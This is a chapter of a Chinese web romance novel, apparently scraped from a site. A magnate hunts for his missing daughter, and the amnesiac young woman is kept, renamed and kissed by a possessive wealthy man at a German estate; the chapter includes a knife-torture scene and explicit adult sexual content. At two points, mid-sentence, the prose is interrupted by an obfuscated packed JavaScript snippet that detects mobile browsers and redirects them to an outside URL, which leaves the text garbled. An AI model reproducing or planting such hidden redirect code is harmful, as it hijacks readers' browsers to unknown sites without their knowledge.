“唔……还想要好多好多巧克力,把我的宫殿填满!” Elara酷爱巧克力,那全世界的巧克力都要搬进她的兔子洞。作为金茜集团董事长孟修白先生和长红二十多年不衰的影后秦佳茜女士的唯一爱女,自然是要什么有什么。 天上的星星能摘都摘。 据传这位小公主从出生起就被家人保护得密不透风,成年后也从未在名利场上正式公开露过面,行事极其低调,在圈里一向成谜,多少公子少爷妄图靠入赘来一步登天,却连人影儿都抓不到。 目前唯一透出的信息只有“Elara”和“崽崽”这两个名字,以及一张她三岁时,母亲秦佳茜在微博上po过的模糊侧脸照。 照片上有一双水汪汪的桃花眼,睫毛很软,明亮的眼珠像一颗甜蜜的琥珀糖。 可就是这样一位无忧无虑的公主,无菌室中的富贵花,温暖巢里的漂亮鸟,在近期失踪了。 整整八天,毫无音讯。 堪称人间蒸发。 . “孟修白!你它娘的闲来无事发什么疯!你我二十年前说好的井水不犯河水,老子没来找你麻烦,你居然还挑衅到我头上来了!” 一句愤怒的骂声刚落,痛哭流涕的求饶就从雪亮的刀尖下传来。 “啊啊啊啊——疼疼疼!六叔六叔——您手下留情!我爹最近真没做对不起您的事——啊啊啊——爹!你救我啊!!” 小刀看着精巧,没什么杀伤力,却是军方特制的近身作战匕首,采用特殊材质,锋利雪亮,削铁成泥。 这刀被一只麦色的大掌握着,指骨修长而强劲,虎口处被一道伤疤横贯,光是看着就令人不寒而栗。 刀尖逼近脖颈,已经划出了一道血痕。 “草你的!把刀拿开!那是我儿子!!你伤到他老子这辈子和你没完!”孟斛到这时才终于慌了。他不是不知道孟修白是疯子,彻头彻尾的神经病,真要逼急他,杀个人不算什么,何况澳城还是对方的地盘。 装潢华丽的套房里,挤满了剑拔弩张的两拨人。 痛哭流涕的男孩被架在沙发上,握刀的那个男人站在沙发后。 男人看着四十出头,小麦肤色,面容棱角分明,穿着斯文的亚麻衬衫配西装裤,袖口随意挽起,露出结实强悍的手臂,他一手掐提男孩的头发,一手用刀尖点在男孩的颈部,漆黑的双眸很平静,但难掩阴鸷的本性。 他缓缓笑了笑,“四哥,你还是好好想想,最近都做了什么。” “我他娘的什么都没做!不是儿子被你绑来了澳城!老子现在还在大马好好的!” “真的什么都没做吗。”孟修白维持着笑,手中的匕首忽然猛地插进男孩肩膀,动作利落,狠戾。 一声惨叫响起,套房里人人自危。 孟斛直接跳起来破口大骂,刚想冲上来,一把消音枪比在他额头,硬生生把他顶了回去,“我他妈做什么了你要揪着我!孟修白,你牛,你他妈的现在只手遮天,你敢在澳城杀了我?我说了我什么都没做!没做!没做!你放开我儿子!” 匕首继续陷进血肉里。 惨叫中,孟斛满头是汗,“好好好,我说,我说!我上个月抢了你几个客人,几千万的生意,你他妈值得和我较劲吗!还有……上周在老爷子面前骂你是个忘恩负义的白眼狼,就没了。” “真的!没了!” 孟修白眯了眯眼,似乎是确认了对方没有做,也不敢做,这才松开男孩的头发,抽出匕首,随手一扔,匕首稳稳插进果盘里的一颗火龙果,一时分不清是火龙果汁,还是血。 “好,我信四哥一次。阿永,找最好的医生帮我侄儿好好包扎。男孩子,留疤了不好看。”孟修白拍了拍男孩的冷汗淋漓的脑袋,用手帕擦掉指尖的血,轻描淡写的几句,把刚才的血腥事都压下去。 孟斛一头雾水,完全不知道孟修白要做什么,无缘无故绑了自己儿子,把自己从马来西亚叫过来,一通威胁,上刀上枪,结果现在轻飘飘放人。 简直是神经病。 “孟修白,你他妈的有病!你小心被你老婆知道你又在这舞刀弄枪的——” “那就管好你的嘴,四哥。咱们年纪都大了,好不容易聚一聚,别伤了和气。”孟修白语气很温和,甚至替对方拨了下胸口歪掉的金佛牌。 “…………”有病! 孟斛敢怒不敢言,如今的孟修白身价不可估量,早就不是当年孟家的看门狗,亲妹又是京城谢家的少奶奶,人脉资源四通八达,整个孟家都不敢和他硬碰硬。孟斛只能打落牙齿活血吞,忍下这一局,带着儿子和一群手下呼啦啦走了。 孟修白有些疲惫地坐在沙发上,按着眉心。 他已经几天没合眼了。自从知道女儿失踪后,他整个人就处于高度紧张的状态,到这时,他甚至期待能接到一个电话——找他要赎金,这样至少证明女儿是安全的。 不论怎样,都好过这样了无音讯。 “老板,苒苒小姐的飞机落地,已经派人去接了。” 孟修白点点头,点了一支烟,继续想到底还有谁和他有仇,要在这个时候动他的女儿。这些年他不断洗白上岸,投资的赌场都受法律许可,曾经在东南亚的那些恩恩怨怨早已成了云烟,他也很久没有舞刀弄枪了。 除了孟家那几个扶不上墙的“哥哥”,以及三年前和他竞争最后一张赌牌时闹得不愉快的一家港资集团,他实在想不出还有谁和他有仇。 德国警察局局长亲自组建了秘密警力队,在巴登巴登和符腾堡附近搜寻,到现在只找到了一台骑行车,一顶没有破碎的头盔,一个户外包,包里装着护照、手机、水杯、防晒霜,防风面罩和钱包。钱包里面有三千欧现金,没有被动过。 据当时一同骑行的同伴描述,宋知祎出门就带了这些东西,一样不差。那天她们骑了七十公里,已经非常疲惫了,宋知祎不知道是看见了什么,非要去森林里面,其他人则想快点到达几十公里之外的酒店吃一顿热乎乎的德式大猪肘,于是她们在一条谷歌都找不到的无名小道上分开。 这些朋友来自不同国籍,除了宋知祎在伯明翰大学的校友外,还有其他学校的,大家私下都没有深交,不过是约好毕业季时一同骑行的同伴。环绕欧洲是所有骑行爱好者都想挑战的壮举。 骑行是宋知祎最热爱的运动之一。 她们从法国开始,经过斯特拉斯堡,科尔马,来到瑞士巴塞尔,然后来到拥有广阔森林的德国。从瓦尔茨胡特出发,沿着黑森林一路骑到特里贝格,再到著名的温泉城——巴登巴登。 德国警方说,经常有骑行者在黑森林中迷路,毕竟森林广袤,有许多没有被开发的未知路径,没有监控,信号也不好,导航时常失灵。 孟修白沉沉吁出一口烟。 崽崽……到底在哪……是意外,还是人为? 他瞒住了正在西北拍戏的妻子,若是妻子知道真相,怕是会伤心到崩溃,于身体无益。一想到妻子,孟修白强撑的精神到底有了一丝颓败,是他的错。 他没有保护好他们的女儿。他后悔答应女儿想和朋友一起毕业旅行的提议,后悔撤掉了她身后的保镖,可后悔冇用。 万分之一就是这样发生了。 就在这时,套房门被推开,一个女人步履匆匆而来。 女人有一头非常乌黑柔顺的长发,皮肤白皙饱满,少有岁月痕迹,依旧如年轻时那般美貌,只不过粉黛未施,连口红都不擦,又穿一套非常简单的灰色运动装,难免憔悴许多,看得出没有任何装扮的心思。 “哥!” 孟修白回头,见到来人后这才勉强笑了笑,顺手碾灭烟,“说了不用来。” “怎么回事,眼睛都成核桃了,姓谢的欺负你了?” 秦佳苒根本提不起劲,“你还笑我。” 得知崽崽不见了,她这个当姑又当姨的哭了快三天,谢琮月束手无策,向她下军令状,一定能把宋知祎找回来,这才稳住她的心神。 孟修白摇摇头,“早知道你这样,就不告诉你了。” 秦佳苒推他一下,“二姐还不知道吧。” “没敢让她知道。你都成这样了,她怕是要哭断气。” “这么多天没音讯,怎么好瞒过去?” 秦佳茜基本上隔两天就会给女儿发消息,问女儿在国外读书近况,除非工作太忙,瞒几天还好,时间长一定会露出马脚。 兄妹二人正交谈,摆在茶台上的手机亮屏,滚进来几条消息。 屏保是一张女孩的照片,拍摄地点正是金茜王冠酒店的喷泉广场。拥有琥珀色眼瞳的少女很爱笑,笑起来也很甜,她穿着碧蓝色的吊带长裙,脚边趴着一头还没长出角的小水牛,这是她最新的爱宠。 她总喜欢养奇奇怪怪的动物,奇奇怪怪的动物也喜欢她。 她的动物园非常庞大,三只猫一只狗,一对硕大的紫蓝金刚鹦鹉,又陆续来了小垂耳兔小牛小马小蜥蜴,大家对此无奈,又宠溺,由着她来。 孟修白看见消息后,神情一黯,伪装成女儿的口吻,回过去—— 【妈咪,我在和朋友骑车呢!】 【视频已拒绝】 【等会到了餐厅给你拍我今天吃的午餐!】 “你就靠这样骗过去的?”秦佳苒心里一酸,眼泪当即滚下来,“这是崽崽的手机。” 孟修白只能出此下策瞒住妻子,这几日发给妻子的照片、视频全都是专人用AI处理出来的。 他声音低哑,“德国警方找到的。我要了回来。” “琮月也派人去找了,都是他信得过的老人,你放心,不会泄漏半点风声。迦应也发动他在德国的朋友去打听了。”提到小儿子,秦佳苒叹气。 这对表姐弟从小关系就比其他人更好,宋知祎不见,谢迦应急得茶饭不思,暴瘦六七斤。 秦佳苒抱了抱从小护住自己的哥哥,在她心里,哥哥永远是无所不能的,坚毅不摧的,她不知道该如何安慰,只能用尽全力帮着一起找,“哥,你也要保重自己的身体。崽崽从小就是锦鲤体质,肯定会平平安安回家,再说崽崽身体素质这么强悍,都是你手把手教出来的,我们要相信她!” 孟修白笑了笑,没接话,只是轻拍妹妹的手,随后走到落地窗前,点了一只烟。 窗外夜色璀璨,金茜王冠酒店的喷泉广场正上演无人机表演,许多客人都拿着手机在拍照。 作为父母,对儿女的担心是旁人无可比拟的,他担心很多很多。 担心宋知祎的安危,担心她有没有被欺负, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098530|195110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有受委屈,担心她这些天吃的好不好睡得好不好,也担心她的脑袋。 十五岁时,宋知祎头部不小心受到撞击,失去了整整一个月的记忆,留下了隐痛的毛病。家里人都吓坏了,从此以后,对她的头部总是格外重视和保护,除了不间断的头部疗养,针灸,服用药物补剂,还会每年定期检查。 但愿一切都好,有惊无险,而非人祸。 孟修白面色凛然,凌厉的气场依旧不输年轻时的锋芒,“谁欺负了我的女儿,我会让他百倍奉还。” . 为了抓一只流浪猫,撞到脑袋后掉进了森林深处,从而引发了一场风暴的宋知祎完全不知道外界发生了什么,也不知道自己经过特殊处理后的照片发布在暗网上,寻人启事的赏金高达六百万美金,还在不断上涨。 宋知祎在赫尔海德庄园住下了,吃的好,睡得好,只是偶尔会很想家,想爸爸妈妈,虽然她记不起来。 她的新卧室换成了一间更大更豪华的套房,不止有露台和浴室,还连带着一间超大衣帽间,里面装满了时霂为她准备的衣物鞋子。 最关键是挨着时霂的书房,用一扇滑动门连着,若是对方没上锁,她能随时偷渡过去。 只不过时霂的书房里挂着许多兽头,宋知祎看着就发毛。 这都是他狩猎的战绩,有麋鹿、灰狼、大捻角羚、鬣狗、野猪、狐狸、还有一对棕熊,它们被制作成标本,静静地摆放在那,的确优美,但充满了暴力,和优雅高贵的时霂很不搭配,她不喜欢,所以去的时候不多。 既然决定了把人留下,时霂就需要考虑很多琐事,毕竟不是真养一只鸟那么简单。 当务之急便是为她起一个名字,再办理ID。至于帮她寻找身份和家人,在潜意识里被他摒弃掉了。 这日阳光难得和煦,暖风轻柔,庄园的大草坪成了一张波光粼粼的绿绸缎,非常适合户外运动。 宋知祎吃过午餐就迫不及待带着她的新朋友——black,peach还有kiki来草坪玩飞盘。 纤细柔软的四肢实则充满了劲,跑起来飞快,这只普通的塑料飞盘被她玩出各种花样,看得周围的佣人眼花缭乱。 花豹的速度宛如闪电,永远第一个抢走飞盘,然后很犯规地把宋知祎拱到地上,去舔她的脸。 “Stop!Kiki!我满脸都是你的口水……” “——嗷!不要拱我的腰!好痒哈哈哈哈哈!” 时霂处理完公事,来到露台抽支烟,正好望见草坪中央,女孩和他的宠物们玩得起劲。 他们四个如此合得来,非常出乎时霂的意料,也让他对女孩的胆量有了新的认知。 这只小鸟,脆弱得一掐就碎,怕黑怕到哭鼻子,不敢单独进他的书房,可来劲时又胆大包天,面对花豹这种猛兽,都敢毫无顾忌地上手摸。 时霂勾起唇,指尖的烟光燃着,没抽,目光很是专注地落在他的小鸟身上。 阳光将女孩白皙的皮肤镀上一层淡金,长发不是乌黑的,在强烈的光线下,会呈现出浓稠的栗色,宛如巧克力瀑布。她玩得很疯,头发到处乱飞,被她胡乱扎起来,也许是身上高领蕾丝裙很勒脖子,她奔跑时扯了好多下。 时霂考虑要不要把她衣柜里的高领裙子都拿走,改为更方便的丝巾、狐狸围脖等。 下一秒,那条油光发亮的豹子猛地把女孩扑倒,厚实的肉垫搭在她双肩,放肆地在她脸上舔,时霂蹙眉,掐灭烟。 “过来,小雀莺。”时霂确定宋知祎这个角度能看见他,冲她招手,抬高了音量。 他声音富有磁性,偏沉,加重语调时,显得威严,有压迫感。 两条狗率先感受到主人语调的变化,停下追逐的步伐,对宋知祎叫唤了几声,又联合起来把Kiki赶跑。 宋知祎这才得救,用袖子擦了把脸,顺势拍拍Peach的脑袋,“Thank you!girl!” Peach:“汪汪!”(不用谢!) 宋知祎盘腿而坐,看向上方露台上站着的男人,挥挥胳膊,“你可以等我一下吗,我现在还想和它们玩。” 时霂微笑,灰金色的头发在日光下,带着神性的光泽,他居高临下地俯视着宋知祎,温和地说:“不如先把你的名字确定好,再和它们玩,我让佣人准备下午茶,都是你爱吃的。” 他看上去在给建议,实则是温柔地,有的放矢地掌控局面,让对方按照他的要求来做,还不会觉得被冒犯。 一听有吃的,宋知祎高兴地爬起来,拍拍身上的草沫,“那我现在来了!” 宋知祎把飞盘交给Peach,让它们三个自己玩,然后迅速把鞋穿好,跑进建筑,轻车熟路地找到电梯,上三楼,来到时霂的书房。 短短几日,她已经把这里摸熟了大半。 到了书房,时霂先是用手帕把她的脸仔细擦了一遍,又拿出一双新的羊绒毛袜给她,宋知祎疑惑地仰头,躲在皮鞋里的脚趾已经蜷了起来。 她心虚,不等对方问,就主动不打自招:“我的袜子没有脏,很干净。” 她撒谎的伎俩显然不高明,时霂也不戳穿,“当然,你是爱干净的好女孩。只是这双更保暖,天气冷了,你又不爱穿鞋。” 宋知祎腼腆地反驳了一句她也不是不爱穿鞋。 时霂揉了揉她的长发,“去坐好,我帮你穿。” 宋知祎一把薅走袜子,坐上沙发,趁时霂转背的空隙,飞快把脏袜子脱下来塞进沙发缝里,好像这样就不会被发现,然后镇定地穿上新的。 她干这种事非常流畅,很有偷感,一看就是失忆前没少做。 时霂只当不知道,拿起书桌上的一张厚卡纸,走过来,在她身边坐下,“看看喜欢哪个?” 卡纸上书写着几个非常漂亮的花体英文单词,黑色墨水干涸不久,散发出雅致的清香。 一共有三个名字:Elowen,Aerona和Elara。 10.亲嘴嘴 宋知祎穿了一半的袜子,忍不住,好奇凑过去看,“Elowen……Aerona……Elara……第一个是什么意思?” 时霂解释:“冬青树。一种很漂亮的植物,会结出红色的小果。” “Aerona呢?” “空中精灵,也可以做飞鸟,代表灵动、自由。” “……那这个呢?”宋知祎指向最后那个Elara,眼底划过一丝茫然。 “星星,月亮,也是环绕木星的一颗卫星。”时霂说着,顺手将她穿了一半的袜子提上去,拇指漫不经心抹过她细白的脚背。 “看看喜欢哪个。” 宋知祎专注地望着这三个名字,口中不自觉地呢喃,“Elara……” 很奇怪,念出这个名字后,她大脑几乎是条件反射地浮现出一些画面,好像很多人在喊她Elara,Elara…… 大脑隐隐作痛起来。 “头又疼了?”时霂见她小脸皱在一起,很是担忧。 可各项检查都表示,她的大脑没有问题。 “不想就不疼。”宋知祎很偷懒,躲避着这种痛苦,很快就不去想了,只是黏糊糊地抱住时霂的手臂,颊面蹭了蹭,像是在撒娇。 时霂今日没有出门,在家穿着舒适的半高领毛衣,浅米色,骆马毛,蹭上去轻柔又舒服,还带着属于成熟男人的深沉暖香。她不停地蹭,时霂没动,纵容着她,目光低垂,落在她挺翘的鼻尖。 下一秒,这点鼻尖埋进了他的胸口。 这里太舒服了,又香喷喷,块状肌肉的厚实重量感带来绝对的安全感。 宋知祎埋进去就不想出来,又用手抓了两把,整个手掌都塞的满满。她发现时霂的这里实在是天堂。 时霂拿她没办法,温柔地抚摸她的后脑勺,默许她越发放肆的举动。有时候他都怀疑,这小鸟是想吸上来。 可他真的不是她妈妈,也分泌不了乳汁。 时霂失笑,“名字想好了吗?” “唔……”宋知祎的气息从毛料中穿出来,絮絮的,毛绒绒的,“Aerona吧,你不是叫我小雀莺吗。” 时霂也满意这个名字,“Aerona,很优雅,适合你。” 他的Aerona。 因为格外享受这种占有欲被满足后的感觉,时霂的气息都暗了。他的小鸟,整个的,从头到脚,到名字,都属于他。 他很少对什么产生占有欲,对人更是从未有过,没想到一旦滋生,这种剧烈的程度,令他自己都惊讶。 有那么一刻,他甚至不希望她恢复记忆。 就这样把她豢养在自己的领地,没有人可以把她带走。 宋知祎有了名字,越发欢喜地在时霂胸口蹭着,她叫Aerona,艾洛娜。 她想到了她原本的名字。会叫什么呢?会是妈妈取的,还是爸爸取的?也会很好听吗?一定很好听。 她这么好,一定会是爸爸妈妈最可爱的宝贝。 她想他们了。 心口忽地涌出一大股酸涩的汁液,鼻头也感受到这种酸,开始发热,膨胀,眼眶不经意就湿了。 “怎么了,不喜欢这个名字?”时霂托起她的下巴。 宋知祎很难过,如实说:“想爸爸妈妈了。我不知道他们在哪。” 时霂叹了声,指节擦过她濡湿的眼尾,他换了个坐姿,长腿搭着,绷直的西装裤下露出一截被黑袜包裹严实的脚踝,同时,漫不经心地问:“如果,你的爸爸妈妈现在来找你,你会跟他们回去吗?” 宋知祎怔了怔,实在是没想过这个问题。 爸爸妈妈来找她了,她当然会回去!念头刚起,她想到了时霂。如果爸爸妈妈住的地方很远,那她就很难每天见到时霂了。 这实在是一个非常难以两全的问题。 时霂端详着她纠结的表情,不用猜就知道她在想什么。 “Aerona。” 女孩显然尚未熟悉这个新名字,没反应。 “Aerona。” “啊,怎么啦?”宋知祎回过神,视线中是时霂那张雕塑般俊美的脸。居家的他仍旧用发油打理了头发,今日有丁点不一样,分成了三七分,往侧后方梳的。 这种发型非常衬托他优越的鼻骨,窄而挺拔。 宋知祎简直受不了,她发现自己不能盯着时霂看太久,会被美貌攻击,大脑晕眩。 “犹豫这么久,是在想什么?”时霂微笑地看着她。 宋知祎不太想告诉时霂自己的纠结,摇了摇头,说没什么。 当纠结产生,拿来做比较的那一方就已经落下风了。 时霂已经知晓她的选择,保持着笑容,将搭叠在一起的长腿放下,手掌在宋知祎面前勾了勾,“Aerona,坐过来。” 宋知祎很听话地挪了挪屁股,本来就挨着他坐,现在几乎是严丝合缝地和他贴在一起。 “坐好啦。”她双手放在腿上,规规矩矩地。 时霂笑,侧过来,伸手握住她的腰。 她怔了下,低头去看。她没想过自己的腰能这么细,又或者是时霂的手能有这么大,几乎完全圈住,紧跟着,那大手用力,手背鼓起几道青筋,场面莫名带着股热意。 宋知祎没来得及反应,就被抱上男人坚实又滚烫的怀里,在她坐下来的那一刻,腿部肌肉也在无声地紧绷,变得坚实。 “干嘛啊……”宋知祎敏感地察觉到男人此时的气息和以往都不一样,有些紧张又期待,手掌抵住他胸口,心脏微微发颤。 时霂依旧温和地注视她,拇指压上她的唇珠,指腹边缘的粗茧摩擦她细腻的唇肉,很痒,那感觉酥酥麻麻的,宋知祎想去咬,又怕咬到时霂的手指,只能乖乖地忍下去。 那拇指磨够了唇瓣,继续滑下去,来到她的下颌边缘,轻柔地抬起她的下巴。 男人绅士地发出邀请:“介意我在此时亲吻你吗?Aerona女士。” 一瞬间,宋知祎大脑空了,心跳是前所未有的快。 亲吻?亲吻她…… 她要和时霂亲嘴……? 她感受着男人带来的气味和热量,盯着男人那淡粉色的形状性.感的唇,脸颊不知不觉红了,双眼倒是没有雾蒙蒙,而是从未有的明亮,她跃跃欲试,又怕很滑稽,于是扭捏地说:“我没有亲过诶……” 时霂当然知道这话不可信,她什么都不记得。也许她失忆前还有个恩爱的小男友呢。 不过没关系,从此以后,她只能被他亲吻。一名成熟的绅士,介意的只会是女人最后一次的归属,而非第一次。 时霂在她腰肢上轻轻拍了两下,“我知道,你是有品味的小淑女,不会随意和劣质的男性亲吻。” 轻柔的拍打,带来了惊天骇浪的效果。 明明没有拍在敏锐部位,可宋知祎身体发颤着,腰肢酸软,甚至并紧了腿,她浑身每一根神经都踊跃起来,快要爆炸了,揪住时霂的毛衣,她主动凑过去,双唇微微嘟起来。 像晶莹的蜂蜜,诱人的樱桃。 时霂笑着,低首,非常绅士地在她唇瓣上吮了吮,然后风度翩翩地撤退。和躁动青春期的男孩完全不同,没有一触上就迫不及待地往里探。 饶是这样,宋知祎的脸也熟透了,爆出夸张的绯红,呼吸也不停起伏,她紧紧咬住刚才被他吻过的地方。 这就是接吻吗……像吃了一朵不知道口味的棉花糖。 “别紧张,你做的很好。”时霂拨开她咬唇的动作,“刚才是想让你适应与我的接触,接下来,请不要把我当成你的Daddy。” Daddy会很温柔,他现在不太想这样。 “为什么……”她小声发问,“你说过你可以做我的D——” 声音被骤然吞灭,时霂那极具男性力量的大掌忽然掐住她脖子与下颌连接的那一片,臂弯拢住她,唇齿再度覆盖上来。 和刚才温柔的吮吸天差地别,又搭配着禁锢的姿势。 强势的,压迫性的深吻,陌生的舌头侵入,撬开齿关,在她口中肆无忌惮地搅弄一阵,又开始反复吮吸玩弄她的舌尖。口腔从未被如此对待过,制造出许多津液,有些流出了唇角,有些被时霂吮过去,优雅地吞进腹中。 男人平日展露的优雅高贵、温文尔雅、成熟得体,此时完全被藏在冰川之下的另一面取代。他强势地品尝着属于他的甜果,将压抑已久的欲/望完全送给了这只懵懂的小鸟。 宋知祎大脑发空,完全被时霂掌控着,没有任何招架之力,那种酥麻从口腔舌尖传到肌肉、心口,让她整个人都醺醉了,刚才没有吃出口味的棉花糖,此时也有了味道,是时霂的味道。 她被整个地压在沙发上,身前是时霂宽厚的双肩,组合成密不透风的围墙,将她困在里面,她被吃得唔唔直叫,迷醉的双眸半睁着,视线里,远处墙上挂着的兽头正怔怔看着她。 她吓得闭眼,咛出声,这声音令时霂快要爆炸,重重地咬住她肉感的唇。 没有关紧的玻璃门传来草坪上动物们欢快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102438|195110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的玩耍声,午后暖阳在深沉的胡桃木地板投下一条金色织带。书房里,接吻的声音也很重,唾液交换带来黏腻的水浪,夹杂着女孩细碎的闷哼,还有男人起伏的低喘。 直到宋知祎彻底呼吸不过来了,时霂这才退后半寸,滚烫的气息洒在她脸上。 “小可怜,是不是刚才吻太重了?你喜欢吗?”时霂怜爱地抚过她湿漉漉的唇瓣,接过吻后的嗓音格外低沉。 宋知祎紧紧揪着时霂的毛衣,都快抓烂了,其中两根指头甚至穿过了织物,抠上他的胸肌,她唇被吻得肿胀,艳红无比,看上去越发嘟,“是很重……但很、很舒服。” 她的诚实太过可爱,于是又在她唇珠吻了吻,抚摸着她的脸颊,“诚实的好孩子,以后喜欢都要告诉我,好吗?” 那下次会更重些。 他会温和且不动声色地试探他的小鸟的耐受力。 “……特别喜欢!特别!”宋知祎重重点头,脸颊红扑扑的。 原来亲嘴是如此如此的舒服! 她拥抱住时霂,听见他的心跳居然也很快,她不知为何,就是特别兴奋,用头顶上他心脏的位置。 “不要乱动,坐好。”时霂拍拍她的脑袋。此时他的裤当有些爆炸,不太愿意女孩发现他的困窘。 宋知祎不听话,继续乱动,屁谷就这样不经意地擦过直愣愣的一大块,完全无法忽视的存在感,像藏了一只烤得硬邦邦的大法棍。 她不是懵懂无知的小朋友,她懂得很,立刻不动了,紧抿着唇,睁大眼睛试探地看着时霂。 时霂保持着风度,不急不慢解释:“抱歉,小雀莺,这是正常男性的正常生理反应,毕竟我们刚才接吻了,如果你不太懂这种生理反应,我愿意从头告诉你——对,我忘记一件很严肃的事,你今年几岁?” 问出这句话就已经道貌岸然了,若是才十八十九,那他只能去忏悔室反省三天三夜。 中国话里有一句是这样说的,老牛啃嫩草。 他不想成为这头老牛。 宋知祎张口就来:“我都二十五了,肯定可以亲嘴。”她让时霂放一百个心。 时霂含笑打量了一番,不太信,“是吗?二十五?” 她看着实在是小,举止也少女气,时霂猜她大概刚满二十,没想到二十五了。也是,亚洲女孩的年龄一向成迷,这样说来,他们之间只差了四岁,是非常相配年龄。 这真是意外之喜。 宋知祎不乐意地嘟嘟嘴,她又不是全忘了,“当然,这个我还是记得的,而且我知道你这是什么,不需要你告诉我。” “嗯,是什么,那你来说。”时霂洗耳恭听。 宋知祎狡黠地挑挑眉毛,凑过去,趴在他耳边,像一只叽叽喳喳的雀鸟,“是你的大棒快爆炸了!” “………?” 时霂肌肉一僵。大棒? “大棒是什么?小鸟。”他语气多了几分严肃。 宋知祎压根就没察觉到危险,她笑得岔气,笑她的Daddy怎么连这个都不懂!时霂就这样沉着脸看她笑成一团。宋知祎终于笑够了,神神秘秘地,“就是集吧呀。” 她指了指那蓄势待发,“你的大集吧。” “…………………………” 时霂花了整整十秒钟才从震惊中平静下来。他对中文不算了如指掌,但也见多识广,当然知道什么叫“几叭”,类似“cock”“dick” 这不是什么文雅的词汇。而且她整个人没有半点淑女的羞涩。 宋知祎伸出手指,点上男人的胸口,狡黠地问:“时霂,你是不是想和我上.床?” 时霂滚了滚喉结,双手扶住宋知祎的肩膀,让她坐好,坐直。他身材高大颀长,即使是坐着也比她高出一大截,目光温沉地俯视她:“宝贝,你的提议听上去不赖。” 他的确想狠狠吃掉她,因为她此刻该死的调皮,也该死的性感,但现在他有更重要的事解决。 宋知祎丝毫没察觉到气氛不对劲,偏不坐好,还在那得意地笑着,“我就知道,你就是想和我上床,因为你喜欢我,是不是?我太有魅力了!” 他是喜欢她。 下一秒,时霂在她软弹可口的豚部上抽了一巴掌,暗蓝的眼眸沉冷地注视她:“认真一点,Aerona。这些词是谁教你的?” 这一巴掌不重,但绝对不轻,不是闹着玩那种,带着教训的意味。 宋知祎立刻不敢乱动,也不敢嘻嘻哈哈,被男人身上散发的威严震住。 .